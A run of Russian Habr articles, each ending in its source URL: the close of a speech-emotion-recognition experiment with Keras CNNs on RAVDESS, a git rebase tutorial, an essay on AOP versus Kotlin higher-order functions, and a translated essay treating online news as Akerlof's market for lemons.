model.add(MaxPooling1D(pool_size=(8)))
model.add(Conv1D(128, 5,padding='same')) #3
model.add(Activation('relu'))
#model.add(Conv1D(128, 5,padding='same')) #4
#model.add(Activation('relu'))
#model.add(Conv1D(128, 5,padding='same')) #5
#model.add(Activation('relu'))
#model.add(Dropout(0.2))
model.add(Conv1D(128, 5,padding='same')) #6
model.add(Activation('relu'))
model.add(Flatten())
model.add(Dense(10)) #7
model.add(Activation('softmax'))
opt = keras.optimizers.rmsprop(lr=0.00001, decay=1e-6)
```
> Автор закомментировал слои 4 и 5 в последнем релизе (18 сентября 2018 года) и итоговый размер файла этой модели не подходит под предоставленную сеть, поэтому я не смогу добиться такого же результат по точности – 72%.
Модель просто натренирована с параметрами `batch_size=16` и `epochs=700`, без какого-либо графика обучения и пр.
```
# Compile Model
model.compile(loss='categorical_crossentropy', optimizer=opt,metrics=['accuracy'])
# Fit Model
cnnhistory=model.fit(x_traincnn, y_train, batch_size=16, epochs=700, validation_data=(x_testcnn, y_test))
```
Здесь `categorical_crossentropy` это функция потерь, а мера оценки – точность.
Мой эксперимент
---------------
### [Разведочный анализ данных](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D0%BE%D1%87%D0%BD%D1%8B%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
В датасете RAVDESS каждый актер проявляет 8 эмоций, проговаривая и пропевая 2 предложения по 2 раза каждое. В итоге с каждого актера получается 4 примера каждой эмоции за исключением вышеупомянутых нейтральной эмоции, отвращения и удивления. Каждое аудио длится примерно 4 секунды, в первой и последней секундах чаще всего тишина.
**Типичные предложения**:
### Наблюдение
После того как я выбрал датасет из 1 актера и 1 актрисы, а затем прослушал все их записи, я понял, что мужчины и женщины выражают свои эмоции по-разному. Например:
* мужская злость (Angry) просто громче;
* мужские радость (Happy) и расстройство (Sad) – особенность в смеющемся и плачущем тонах во время «тишины»;
* женские радость (Happy), злость (Angry) и расстройство (Sad) громче;
* женское отвращение (Disgust) содержит в себе звук рвоты.
### Повторение эксперимента
Автор убрал классы neutral, disgust и surprised, чтобы сделать 10-классовое распознавание датасета RAVDESS. Пытаясь повторить опыт автора, я получил такой результат:
Однако я выяснил, что имеет место утечка данных, когда датасет для валидации идентичен тестовому датасету. Поэтому я повторил разделение данных, изолировав датасеты двух актеров и двух актрис, чтобы они не были видны во время теста:
* актеры с 1 по 20 используются для сетов Train / Valid в соотношении 8:2;
* актеры с 21 по 24 изолированы от тестов;
* параметры Train Set: (1248, 216, 1);
* параметры Valid Set: (312, 216, 1);
* параметры Test Set: (320, 216, 1) — (изолировано).
Я заново обучил модель и вот результат:
### Тест производительности
Из графика Train Valid Gross видно, что не происходит схождение для выбранных 10 классов. Поэтому я решил понизить сложность модели и оставить только мужские эмоции. Я изолировал двух актеров в рамках test set, а остальных поместил в train/valid set, соотношение 8:2. Это гарантирует, что в датасете не будет дисбаланса. Затем я тренировал мужские и женские данные отдельно, чтобы провести тест.
**Мужской датасет**
* Train Set – 640 семплов от актеров 1-10;
* Valid Set – 160 семплов от актеров 1-10;
* Test Set – 160 семплов от актеров 11-12.
**Опорная линия: мужчины**
**Женский датасет**
* Train Set – 608 семплов от актрис 1-10;
* Valid Set – 152 семпла от актрис 1-10;
* Test Set – 160 семплов от актрис 11-12.
**Опорная линия: женщины**
Как можно заметить, матрицы ошибок отличаются.
Мужчины: злость (Angry) и радость (Happy) – основные предугаданные классы в модели, но они не похожи.
Женщины: расстройство (Sad) и радость (Happy) – основыне предугаданные классы в модели; злость (Angry) и радость (Happy) легко спутать.
Вспоминая наблюдения из **Разведочного анализа данных**, я подозреваю, что женские злость (Angry) и радость (Happy) похожи до степени смешения, потому что их способ выражения заключается просто в повышении голоса.
Вдобавок ко всему, мне интересно, что если я еще больше упрощу модель, остави только классы Positive, Neutral и Negative. Или только Positive и Negative. Короче, я сгруппировал эмоции в 2 и 3 класса соответственно.
**2 класса:**
* Позитивные: радость (Happy), спокойствие (Calm);
* Негативные: злость (Angry), страх (fearful), расстройство (sad).
**3 класса:**
* Позитивные: радость (Happy);
* Нейтральные: спокойствие (Calm), нейтральная (Neutral);
* Негативные: злость (Angry), страх (fearful), расстройство (sad).
До начала эксперимента я настроил архитектуру модели с помощью мужских данных, сделав 5-классовое распознавание.
```
# Указываем нужное кол-во классов
target_class = 5
# Модель
model = Sequential()
model.add(Conv1D(256, 8, padding='same',input_shape=(X_train.shape[1],1))) #1
model.add(Activation('relu'))
model.add(Conv1D(256, 8, padding='same')) #2
model.add(BatchNormalization())
model.add(Activation('relu'))
model.add(Dropout(0.25))
model.add(MaxPooling1D(pool_size=(8)))
model.add(Conv1D(128, 8, padding='same')) #3
model.add(Activation('relu'))
model.add(Conv1D(128, 8, padding='same')) #4
model.add(Activation('relu'))
model.add(Conv1D(128, 8, padding='same')) #5
model.add(Activation('relu'))
model.add(Conv1D(128, 8, padding='same')) #6
model.add(BatchNormalization())
model.add(Activation('relu'))
model.add(Dropout(0.25))
model.add(MaxPooling1D(pool_size=(8)))
model.add(Conv1D(64, 8, padding='same')) #7
model.add(Activation('relu'))
model.add(Conv1D(64, 8, padding='same')) #8
model.add(Activation('relu'))
model.add(Flatten())
model.add(Dense(target_class)) #9
model.add(Activation('softmax'))
opt = keras.optimizers.SGD(lr=0.0001, momentum=0.0, decay=0.0, nesterov=False)
```
Я добавил 2 слоя Conv1D, один слой MaxPooling1D и 2 слоя BarchNormalization; также я изменил значение отсева на 0.25. Наконец, я изменил оптимизатор на SGD со скоростью обучения 0.0001.
```
lr_reduce = ReduceLROnPlateau(monitor=’val_loss’, factor=0.9, patience=20, min_lr=0.000001)
mcp_save = ModelCheckpoint(‘model/baseline_2class_np.h5’, save_best_only=True, monitor=’val_loss’, mode=’min’)
cnnhistory=model.fit(x_traincnn, y_train, batch_size=16, epochs=700, validation_data=(x_testcnn, y_test), callbacks=[mcp_save, lr_reduce])
```
Для тренировки модели я применил уменьшение «плато обучения» и сохранил только лучшую модель с минимальным значением `val_loss`. И вот каковы результаты для разных целевых классов.
Производительность новой модели
-------------------------------
**Мужчины, 5 классов**
**Женщины, 5 классов**
**Мужчины, 2 класса**
**Мужчины, 3 класса**
Увеличение (аугментация)
------------------------
Когда я усилил архитектуру модели, оптимизатор и скорость обучения, выяснилось, что модель по-прежнему не сходится в режиме тренировки. Я предположил, что это проблема количества данных, так как у нас имеется только 800 семплов. Это привело меня к методам увеличения аудио, в итоге я увеличил датасеты ровно вдвое. Давайте взглянем на эти методы.
### Мужчины, 5 классов
**Динамическое увеличение значений**
```
def dyn_change(data):
"""
Случайное изменение значений
"""
dyn_change = np.random.uniform(low=1.5,high=3)
return (data * dyn_change)
```
**Настройка высоты звука**
```
def pitch(data, sample_rate):
"""
Настройка высоты звука
"""
bins_per_octave = 12
pitch_pm = 2
pitch_change = pitch_pm * 2*(np.random.uniform())
data = librosa.effects.pitch_shift(data.astype('float64'),
sample_rate, n_steps=pitch_change,
bins_per_octave=bins_per_octave)
```
**Смещение**
```
def shift(data):
"""
Случайное смещение
"""
s_range = int(np.random.uniform(low=-5, high = 5)*500)
return np.roll(data, s_range)
```
**Добавление белого шума**
```
def noise(data):
"""
Добавление белого шума
"""
# можете взять любой дистрибутив отсюда: https://docs.scipy.org/doc/numpy-1.13.0/reference/routines.random.html
noise_amp = 0.005*np.random.uniform()*np.amax(data)
data = data.astype('float64') + noise_amp * np.random.normal(size=data.shape[0])
return data
```
Заметно, что аугментация сильно повышает точность, до 70+% в общем случае. Особенно в случае с добавлением белого, которое повышает точность до 87,19% – однако тестовая точность и [F1-мера](https://en.wikipedia.org/wiki/F1_score) падают более чем на 5%. И тут мне ко пришла идея комбинировать несколько методов аугментации для лучшего результата.
### Объединяем несколько методов
**Белый шум + смещение**
Тестируем аугментацию на мужчинах
---------------------------------
### Мужчины, 2 класса
**Белый шум + смещение**
Для всех семплов
**Белый шум + смещение**
Только для позитивных семплов, так как 2-классовый сет дисбалансированный (в сторону негативных семплов).
**Настройка высоты звука + белый шум**
Для всех семплов
**Настройка высоты звука + белый шум**
Только для позитивных семплов
Заключение
----------
В конце концов, я смог поэкспериментировать только с мужским датасетом. Я заново разделил данные так, чтобы избежать дисбаланса и, как следствие, утечки данных. Я настроил модель на эксперименты с мужскими голосами, так как я хотел максимально упростить модель для начала. Также я провел тесты, используя разные методы аугментации; добавление белого шума и смещение хорошо зарекомендовали себя на дисбалансированных данных.
Выводы
------
* эмоции субъективны и их сложно фиксировать;
* необходимо заранее определять, какие эмоции подходят для целей проекта;
* не стоит всегда доверять контенту с Github, даже если он имеет много звезд;
* разделение данных – имейте его в виду;
* разведочный анализ данных всегда дает хорошее представление, однако надо быть терпеливым, когда речь о работе с аудиоданными;
* определяйте, что будете давать на вход вашей модели: предложение, всю запись или восклицание?
* нехватка данных – это важный фактор успеха в SER, однако создать хороший датасет с эмоциями – это комплексная и дорогостоящая задача;
* упрощайте свою модель в случае нехватки данных.
Дальнейшее улучшение
--------------------
* я использовал только первые 3 секунды в качестве входных данных, чтобы снизить общий размер данных – оригинальный проект использовал 2.5 секунды. Я бы хотел поэкспериментировать с полноразмерными записями;
* можно предварительно обработать данные: обрезать тишину, нормализовать длину с помощью дополнения нулями и т.д.;
* попробовать рекуррентные нейронные сети для этой задачи. | https://habr.com/ru/post/461435/ | null | ru | null |
# Золотое правило git rebase
Всем привет!
Мы тут немного переделали наш [курс посвящённый web-разработке](https://otus.pw/OLpC/) и добавили ещё целый месяц изучения JS. Ну и как обычно у нас — рассмотрим что-нибудь интересное, что разбирается у нас на курсе. В данном случае — git rebase.
Поехали.
Что на самом деле происходит во время git rebase, и почему вас должно это волновать.
**Основы rebase-а**
Таким вы могли бы представить себе rebase в git:
Вы могли бы подумать, что когда вы делаете rebase, вы «отсоедините» ветвь, которую хотите перебазировать, и «присоедините» ее к концу другой ветви. Это не очень далеко от истины, но стоит копнуть немного глубже. Вот что написано в [документации](https://git-scm.com/docs/git-rebase) про rebase:
*“git-rebase: Forward-port local commits to the updated upstream head”— документация git*
Не очень полезно, не так ли? Примерный перевод (и перевод перевода) может быть таким:
*git-rebase: Переприменить (reapply) все коммиты из вашей ветки к концу другой ветки.*
Самое важное слово здесь — «переприменить (reapply)», потому что rebase — это не просто ctrl-x/ctrl-v от одной ветки к другой. Rebase будет последовательно брать все коммиты из ветки, в которой вы находитесь, и повторно применять их к другой ветке. Это имеет два важных последствия:
1. Переприменяя коммиты, git создает новые. Эти новые коммиты, даже если они вносят тот же набор изменений, будут рассматриваться git-ом как совершенно разные и независимые.
2. Git rebase переприменяет коммиты, не уничтожая старые. Это означает, что даже после rebase-а старые коммиты все равно будут находиться в папке /objects в вашем каталоге .git. Если вы ещ` незнакомы с тем, как git рассматривает и сохраняет коммиты, вы можете узнать здесь кое-что интересное.
Таким образом, это может быть более точным представлением о том, что на самом деле происходит во время rebase-а:
Как вы можете видеть, ветвь feature имеет совершенно новые коммиты. Как уже было сказано, она имеет такой же набор изменений, но совершенно разные объекты с точки зрения git. И вы также можете видеть, что предыдущие коммиты не уничтожены. Они просто не доступны напрямую. Если вы помните, ветка является только указателем на коммиты. Поэтому, если ни ветви, ни теги не указывают на коммиты, становится почти невозможно их достать, но коммиты все еще существуют.
Теперь давайте поговорим о знаменитом золотом правиле.
**Золотое правило rebase-а**
*«Не следует делать rebase общей ветки» — Все и каждый о rebase*
Вы, вероятно, уже сталкивались с этим правилом, возможно, сформулированном по-другому. Для тех, кому не довелось, это правило довольно простое. Никогда, НИКОГДА, НИКОГДА не делайте rebase общей ветки. Под общей веткой я подразумеваю ветку, которая существует в удаленном репозитории и которую другие люди из вашей команды могут запулить себе.
Слишком часто это правило преподносится как божественная истина, и я думаю, что следует в нем разобраться, если вы хотите улучшить свое понимание git.
Для этого давайте представим себе ситуацию, когда разработчик нарушает это правило, и посмотрим, что произойдет.
Скажем, Боб и Анна работают над одним и тем же проектом. Вот репозиторий Боба, Анны, и удаленный репозиторий на GitHub:
Все синхронизируются с удаленным репозиторием (GitHub)
Теперь Боб, невинно нарушает золотое правило rebase-а, в это же время Анна решает поработать над этой фичей и создает новый коммит:
Догадываетесь, что произойдет?
Боб пытается запушить, он получает отказ и видит такое сообщение:
*[Oh My Zsh](https://github.com/robbyrussell/oh-my-zsh) с темой agnoster для тех, кому интересно.*
Git не доволен, потому что он не знает, как объединить ветку feature Bob с веткой feature GitHub. Обычно, когда вы пушите свою ветку на удаленный репозиторий, git объединяет ветку, которую вы пытаетесь запушить с ветвью, находящейся в удаленном репозитории. Если быть точным, git пытается перемотать(fast-forward) вашу ветку, и мы поговорим об этом в будущем посте. Что вы должны запомнить, так это то, что удаленный репозиторий не может, простым способом, справиться с перебазированной веткой, которую Боб пытается запушить.
Одним из решений для Боба было бы сделать git push-force, который сообщает удаленному репозиторию:
“Don’t try to merge or do whatever work between what I push and what you already have. Erase your version of the feature branch, what I push is now the new feature branch”
And this is what we end up with:
“Не пытайся объединять или делать какую-либо другую работу между тем, что я пушу, и тем, что у тебя уже есть. Сотри свою версию ветки feature: то, что я пушу, теперь является новой веткой feature”
И это то, что мы получаем:
Если бы Анна знала, что произойдет, она не пошла бы на работу этим утром.
Теперь Анна хочет запушить ее изменения:
Это нормально, git просто сказал Анне, что у нее нет синхронизированной версии ветки feature, т.е. ее версия ветки и версия ветки GitHub разные. Естественно, Анна пулит. Точно так же, как git пытается объединить вашу локальную ветку с тем, что находится в удаленном репозитории при пуше, git пытается объединить то, что находится в удаленном репозитории, с тем, что находится в вашей локальной ветви, когда вы пулите.
Так выглядят коммиты в удаленной и локальной feature перед пулом:
```
A--B--C--D' origin/feature // GitHub
A--B--D--E feature // Anna
```
Когда вы пулите, git должен выполнить слияние, чтобы разрешить эту проблему. И вот что происходит:
Коммит M представляет собой мерж-коммит — коммит, в котором наконец-то воссоединились ветка Анны и GitHub-а. Анна, наконец, вздыхает с облегчением, ей удалось разрешить все конфликты слияния, и теперь она может запушить свою работу. Боб решает запулить, и теперь все синхронизированы.
Одного взгляда на этот беспорядок, должно быть достаточно, чтобы убедить вас в справедливости золотого правила. Вы должны иметь в виду, что вы находитесь перед беспорядком, созданным только одним человеком, в ветке, совместно используемой только двумя людьми. Представьте, что вы делаете это с командой из 10 человек. Одна из многочисленных причин, по которой люди используют git, состоит в том, что вы можете легко “вернуться назад во времени”, но чем более беспорядочна ваша история, тем сложнее это становится.
Вы также можете заметить дублирующиеся коммиты в репозитории — D и D’, которые имеют одинаковый набор изменений. Количество дублированных коммитов может быть таким же большим, как количество коммитов внутри вашей перебазированной ветки.
Если вы все еще не уверены, попробуйте представить Эмму, третьего разработчика. Она работала на feature еще до того, как Боб все испортил, и теперь хочет запушить изменения. Обратите внимание, что она пушит после нашего предыдущего мини-сценария.
*черт возьми, Боб!*
update: Как заметил один reddit-юзер, этот пост может заставить вас думать, что rebase можно использовать только для перебазирования ветки в верхнюю часть другой ветки. Это не так, вы можете перебазировать одну и ту же ветку, но это уже другая история.
Спасибо за внимание.
THE END
Как всегда ждём ваши вопросы, комментарии тут или на можно помучать преподавателей на [открытом уроке.](https://otus.pw/7BDW/) | https://habr.com/ru/post/352640/ | null | ru | null |
# AOP vs Функции
**Аспе́ктно-ориенти́рованное программи́рование** (AOP) довольно популярная парадигма программирования. В [статье на Wikipedia](https://en.wikipedia.org/wiki/Aspect-oriented_programming) хорошо объяснена мотивация этого подхода.
**AOP** является отличным инструментом для глобальных концепций, таких как: логирование, которое, напрямую, не влияют на логику кода.
Однако, проблемы с AOP обнаруживаются, когда он используется для бизнес-требований, таких как авторизация. Такие аспекты должны быть четко видны в соответствующем коде, чтобы разработчик мог сразу увидеть, при чтении исходного кода, правильно ли они реализованы. AOP фреймворки обычно решают эту проблему с помощью аннотаций:
```
@RequireRole(Role.Admin) // clearly visible aspect
fun updateUserPermissions(…) {
// logic here
}
```
Однако, с точки зрения читабельности, он не сильно отличается от функционального подхода, использования метода *requireRole* вместо аннотации.
> *Примечание переводчика*: в оригинальной статье используется выражение **when rewritten in a functional way** или **functional approach** что можно трактовать как использование функционального подхода так и прямого/конкретного вызова функции. В статье есть примеры которые можно трактовать по-разному.
>
>
>
> Так же:
>
>
>
> 1. В дальнейшем мы вернемся к понятию Higher-Order Functions
>
>
>
> 2. В статье встречается слово аспект, что является англицизмом и понятием в AOP [aspect](https://en.wikipedia.org/wiki/Aspect_(computer_programming))
```
fun updateUserPermissions(…) {
requireRole(Role.Admin) // throws SecurityException
// logic here
}
```
Более того, функциональный подход имеет преимущество масштабирования до более сложных проверок прав доступа, таких как анализ параметров метода, прежде чем решить, какая роль пользователя требуется.
То же самое верно и для других типов аспектов, таких как транзакции. К сожалению, функционально представлять более сложные концепции в Java громоздко и неудобно, что создает искусственную популярность AOP фреймворков в Java экосистеме.
В Kotlin вместо Java-подобного подхода к транзакциям с помощью AOP и аннотаций, вроде этого:
```
@Transactional
fun updateUserPermissions(…) {
// logic here
}
```
Он так же читабелен и выглядит чисто, когда переписан без применения аннотаций, с функциональным подходом.
```
fun updateUserPermissions(…) = transactional {
// logic here
}
```
Преимущество этого подхода заключается в том, что всегда можете нажать Ctrl / Cmd + Click на объявлении функции *transactional* в вашей IDE и сразу увидеть, что именно она делает. Что обычно невозможно с любым из обычно используемых AOP фреймворков. Даже когда навигация к коду аспекта обеспечивается с помощью плагина IDE, для расшифровки его логики требуется знание отдельного многофункционального API и/или соглашений.
К сожалению, есть проблемы с масштабированием способа замены AOP аннотаций в Kotlin. Для случая когда несколько аспектов применяются к одной и той же функции, с накоплением фигурных скобок и отступов:
```
fun updateUserPermissions(…) = logged {
transactional {
// logic here
}
}
```
Обходное решение — создать [higher-order function](https://kotlinlang.org/docs/reference/lambdas.html#higher-order-functions), чтобы сохранить приемлемый код при применении нескольких аспектов:
```
fun updateUserPermissions(…) = loggedTransactional {
// logic here
}
```
Другим недостатком функционального подхода является то, что такие аспекты, как логирование, требуют доступа к параметрам метода. Они обычно доступны в AOP фреймворках через специальные API, но с использованием стандартных функций языка Kotlin нельзя легко получить к ним доступ. Таким образом, для того, чтобы на самом деле представить реальный пример аспекта логирования, в чисто функциональном виде, все еще нужно написать значительное количество *boiler-plate кода*:
```
fun updateUserPermissions(params: Params) =
logged("updateUserPermissions($params)") {
// logic here
}
```
Это соображение все еще делает AOP предпочтительным инструментом для логирования, когда вам действительно необходимо иметь его глобально и согласованно в вашем приложении. При этом использование AOP для такой функциональности как авторизация и транзакции, является злоупотреблением, учитывая богатые функциональные абстракции, которые доступны в Kotlin. Функции справляются с этими требованиями лучше и чище.
В заключение я бы сказал, что дальнейшее усовершенствование функциональных абстракций для обеспечения еще лучшей замены АОП могло бы стать многообещающим вектором будущего развития языка Kotlin. AOP фреймворки, основанные на Java, обычно специфичны для JVM и воспринимаются как магия, в то время как функциональные абстракции Kotlin действительно кроссплатформенны и прозрачны для пользователя.
> *Примечание переводчика*:
>
> 1. [Cтатья на medium (eng)](https://medium.com/@elizarov/aop-vs-functions-2dc66ae3c260) .
>
> 2. Автор оригинальной статьи является **Roman Elizarov** (Team Lead JetBrains, working on Kotlin coroutines and libs, sports programming/ICPC, concurrency & algorithms, math/quantitative finance; formerly Devexperts). На Хабре [elizarov](https://habr.com/users/elizarov/) | https://habr.com/ru/post/435454/ | null | ru | null |
# Интернет-новости как рынок лимонов
От переводчика: «Рынок лимонов» (`lemon` – подержанный автомобиль, *амер. разг.*) – название работы экономиста Джорджа Акерлофа, посвященной информационной ассиметрии, характеризующей ситуацию, когда продавец знает о продукте больше, чем покупатель. Акерлоф, Спенс и Стиглиц за свои изыскания в области информационной ассиметрии получили нобелевскую премию в области экономики в 2001 году.
Акерлоф описал проблему неопределенности качества на примере рынка подержанных машин, на котором представлены как хорошие машины, так и плохие. Поскольку о реальном качестве машины знает только продавец, покупатель не может дать ей адекватно высокую цену, соответственно, как максимум, предложит среднюю. Это значит, что продавец не может получить за свою машину адекватную высокую цену и, как следствие, вообще не выставит ее на рынок. Впрочем, у феномена есть и другие интересные следствия. Подробнее смотрите [здесь](http://econom.nsc.ru/eco/Arhiv/ReadStatiy/2002_01/Voronov.htm).
====================================
Статья рассматривает проблему распространения новостей в рамках парадигмы рынка лимонов, предложенной Джорджем Акерлофом в 1970 году. Определение новостей как механизма, формирующего всеобщую осведомленность, в отличие от их развлекательной функции, позволяет понять, что мгновенная всеобщая осведомленность в условиях запутанности и неопределености способов коммуникации и жизненных реалий недостижима. Рассматривая проблему под таким углом, мы находим ее решение, которое позволяет традиционным медиа осуществлять свои функции, сфокусировавшись на роли валидации новостей, вместо их производства. Наибольшая добавленная стоимость, которую могут создать традиционные новостные медиа – это проверка информации на истинность и гарантия качества.
> «Трудно почерпнуть новости из поэзии, но ежедневно люди гибнут из-за того, чего нам так не хватает в ней.»
>
> William C. Williams
#### Введение
Измерение качества развлечения достаточно просто и самоочевидно. Потребители мгновенно определяют, развлекателен ли продукт, и продолжают обращать на него внимание, если находят его увеселяющим.
Поставщики новостей стремятся обслужить потребности индивида в развлечении и информации одним продуктом сразу. Если качество увеселительной составляющей новости потребителю оценить легко, то с оценкой качества информационной составляющей всё значительно труднее.
Потребитель сталкивается с невозможностью определить, точна или правдива новость, что соответствует ситуации информационной ассиметрии.
Вопреки доступности практически неограниченного количества источников новостей и автоматических систем поиска стоимость поиска истины слишком высока. Человека бомбардируют информацией весь день, но несмотря на легкость использования поисковым машинам доступно только 28% ресурсов Интернета (Barabasi, 2002). Интернет растет экспоненциально, существующие вычислительные мощности не могут охватить поиском большую часть сети.
Поскольку медиа выполняют функцию сторожевого пса и контролера в демократическом общественном устройстве, то формирование рынка лимонов применительно к новостям становится серьезной проблемой, требующей изучения.
Может показаться, что рост конкуренции благодаря независимым и непредвзятым блоггерам мог бы улучшить качество новостей, однако на практике это не всегда так. Без возможности оценить точность и качество информации рынок интернет-новостей имеет тенденцию превращения в рынок лимонов.
Исследование рынка новостей Шлейфером показывает, что одной конкуренции мало для гарантии точности сообщаемой информации, и что конкуренция не только «приводит к низким ценам, но и к общему уклону в сторону предвзятости читателя» (Shleifer and Mullainathan, 2005).
Шлейфер полагает, что «читатель с доступом ко всем новостным источникам может сформировать непредвзятую точку зрения», и что «гетерогенность читателя более важна для точности медиа» (2005).
Фактически же проблема стоимости поиска информации не была изучена, поскольку никакой читатель не имеет времени на изучение всех источников новостей для формирования идеальной модели непредвзятой информации.
Проблема оценки валидности качества новостей является по сути проблемой рынка лимонов, поднятой Акерлофом (Akerlof, 1970). Феномен рынка лимонов тоже имеет дело с «качеством и неопределенностью», а рынок медиа – бизнес, в котором «доверие важно», и, как показывает Акерлоф, «неформальные неподписанные гарантии являются предпосылками для торговли и производства», а «там, где эти гарантии неопределенны, бизнес пострадает» (1970).
Целью данной статьи является поднять вопрос рынка лимонов применительно к интернет-новостям, поскольку качество свободной информации, выплеснувшейся в Интернет, «неопределенно». Когда качество товара неизвестно, потребители готовы платить за него, даже предполагая что он ненадежен. Это вытесняет продавцов хорошего товара с рынка, поскольку покупатель все равно не может отличить хорошее от плохого.
Акерлоф показал вредные последствия рынка лимонов на примере подержанных автомобилей в 1970-х. Тогда люди не могли получить достойную цену за свою машину и, как следствие, отказывались от продажи, оставляя на рынке лишь «лимоны», торговавшиеся уже как придется. Подобное происходит с рынком любого товара, качество которого неопределенно.
Этот же феномен наблюдался на рынке ипотеки и может быть применен к индустрии медиа, где товаром выступает новость.
#### К определению качества новостей и газет
Новости как система для людей предполагает следующую полезность для них:
* соединяют людей и информацию;
* обеспечивают маркировку (брендирование) воспринимаемой истины;
* помогают поддерживать демократию и ее идеалы;
* удовлетворяют потребность людей в познании через целостность повествования.
Целостность повествования сама по себе была недавно раскритикована Талебом, поскольку она подвигает читателя к нереалистичным оценкам риска в финансовой и других сферах жизни (Taleb, 2005). Газеты в целом имеют тенденцию к преувеличению или недооценке рисков, с которыми сталкивается индивид, и не являются здравыми предохранителями с точки зрения управления рисками.
Качество новостного продукта – это восприятие валидности и истинности среди групп равных, с которыми коммуницируют потребители. Большинство потребителей новостей хочет знать, что происходит, что важно. Таким образом, новости выполняют функцию смотрителя, наблюдателя, средства борьбы с коррупцией и обмена истинными фактами, представляющими интерес для человеческих сообществ по сравнению с заявляемыми ценностями и темами.
Существование сильной свободной прессы связывают с понижением уровня коррупции в разных странах (Brunettia & Wederb, 2003). При исследовании медиа-компаний, которыми владеет государство, – это имеет место быть в 97% стран мира – было обнаружено, что согласно «теории общественного выбора… государственное владение подрывает политическую и экономическую свободу» (Schleifer, Djankov, Mcliesh & Menova, 2003).
#### Определяя границы новостей
В рамках данной работы упор сделан на неразвлекательной составной новостей как продукта. Это согласуется с определением Шлейфера, что «качество [новостной] информации – это её точность. Чем точнее новости, тем ценнее их источник для потребителя. Давление со стороны аудитории и конкурентов заставляют источники новостей поставлять более точную информацию. Точно так же, как механизмы рыночной экономики стимулируют автопроизводителей производить машины лучшего качества» (Shleifer, 2005).
Книга Гамильтона об экономике новостей подчеркивает тот факт, что новости нацелены на быстрое потребление, они являются информационным товаром, и на них распространяется [сетевой эффект](http://ru.wikipedia.org/wiki/Сетевой_эффект) (Hamilton, 2003).
С точки зрения Гамильтона, скорость доставки, точность и релевантность – желаемые характеристики новостей как продукта.
Если посмотреть со стороны, новости действительно являются механизмом создания «всеобщей осведомленности» в запутанной среде, где качество и истинность неопределенны.
В таком контексте будет уместна работа Гальперна и Мозеса об искуственном интеллекте и философии (Halpern etal, 1984). Гальперн и другие исследователи общего знания обнаружили, что гарантировать достоверность и истинность всеобщей осведомленности в режиме реального времени на практике невозможно. Максимум, к которому здесь может подобраться индивид, будет почти всеобщей осведомленностью (Halpern etal, 1994).
Учитывая сложную природу всеобщей осведомленности в распределенной и неопределенной среде, Гальперн и другие делают вывод о том, что для достижения окончательной всеобщей осведомленности критическим становится моделирование времени. Иными словами, если потребитель хочет всеобщей осведомленности, он должен подождать достаточное количество времени, пока новость не будет проверена. Как сказал бы Юджин О'нил, мгновенное и истинное знание это лишь мечта.
Одним из побочных эффектов существующего положения на рынке новостей является сегментация рынка по следующим группам людей:
* люди, которые не читают новостей;
* люди, которые читают новости чтобы интерпретировать факты для своей деятельности, например, политики, лоббисты и т.п.;
* люди, которые читают то, во что хотят верить, и осознают свой выбор.
Я полагаю, что сегментация существует из-за высокой стоимости поиска истины.
Лично я не читаю много новостей. Если мне интересна какая-то тема, я изучаю всю область нужных знаний, получаю данные от экспертов и делаю собственные выводы. Но для большинства граждан читающих новости – неоценимый источник информации, на основании которой они строят отношения с другими, обмениваются мнениями о «действительно важных событиях», достигают всеобщей осведомленности.
Известный антрополог Рой Вагнер указывал на насущные проблемы информации, с которыми сталкивается человек:
> «Убеждение со времен Аристотеля по нашу пору никогда не работало, как ему следовало бы, и оно оказывает сильнейший эффект на самого убеждающего… Мы живем в мире, созданном неудачным убеждением, включая все то, для описания чего мировая коммуникационная индустрия, медиа, Интернет или веб, повсеместные „сенсорные“ режимы и схемы используют кодовые слова „информация“ или „коммуникация“, пытаясь описать то, что происходит на самом деле.
>
>
>
> Это значит, что мы живем в мире информации-уловки – полуправд нашей лжи и лжи полуправды – или того, что ЦРУ (или по крайней мере его критики) назвало бы дезинформацией. Я не шучу, да и с чего бы мне? Дезинформация достигает значительно большего двусмысленного или амбивалентного эффекта, чем убеждение.
>
>
>
> Она одновременно и более информативна и коммуникативна, чем любой из её модных суррогатов. Она работает по „принципу утечки“. Частичные правды утекли в рассказы хорошо спланированной лжи, а спланированная ложь проистекла частичной правдой. Это мотивировано такими целями и задачами, которые не имеют прямого отношения ни к вере или убеждениям с одной стороны, ни к сомнению и цинизму с другой. Оно предлагает отрицаемость с обеих сторон. Как выразился Карл Краус: „Это правда либо на половину, либо на полтора.“
>
>
>
> С одной стороны мы не убеждены (т.е. безразличны), с другой – переубеждены, а труднее всего приходится посередине… Дезинформация правит миром, она делает это посредством „отрицания“. Всем известно, что любая сделка, занятие и особенно профессия имеет свои секреты, известные посвященным и неизвестные остальным.» (Wagner, 2000)
Последнее относится и к журналистике.
#### Потенциальные решения: новая бизнес-модель для новостей
До сих пор инновации в новостных медиа касались либо преобразований традиционных СМИ в высоко-технологичные компании, что маловероятно, либо перехода к стратегии использования [нишевых](http://habrahabr.ru/blogs/mass_media/65673/) [гиперлокальных](http://habrahabr.ru/blogs/mass_media/65011/) рынков.
Модель, использующая ниши и дифференциацию/специализацию, имеет потенциал, но сложно связана с проблемой смены интереса и вкуса. Как потребитель узнает, какие гиперлокальные новости ему интересны? Когда время ограничено, и идет активная [борьба за внимание пользователя](http://habrahabr.ru/blogs/web_2_0/31231/), гиперлокальному сайту трудно сохранить свою ценность для него. Исходя из этого, может сработать тот вариант, когда медиа будет некоммерческим и будет поддерживаться сообществом.
Решение, которое предлагаем мы, нацелено на более крупные, устоявшиеся медиа, и является новым подходом к решению проблемы.
Традиционные печатные источники типа Вашингтон Пост имеют основу и репутацию организаций, проверяющих и гарантирующих высокое качество информации. Уровень экспертизы, имеющийся в печатных СМИ, может быть использован для валидации и проверки подлинности поступающих новостей, а в Интернете авторитета для валидации новостей не существует.
Одним из инновационных решений проблемы рынка лимонов может быть создание традиционными газетами блоггерского пространства, основанного на репутации, где новости будут проверяться и проходить валидацию до публикации. Эта идея созвучна работе Ямагиши, исследовавшего рынок лимонов в сфере онлайновой торговли, в которой он установил, что система репутаций полезна в решении этой проблемы (Yamagishi, 2002).
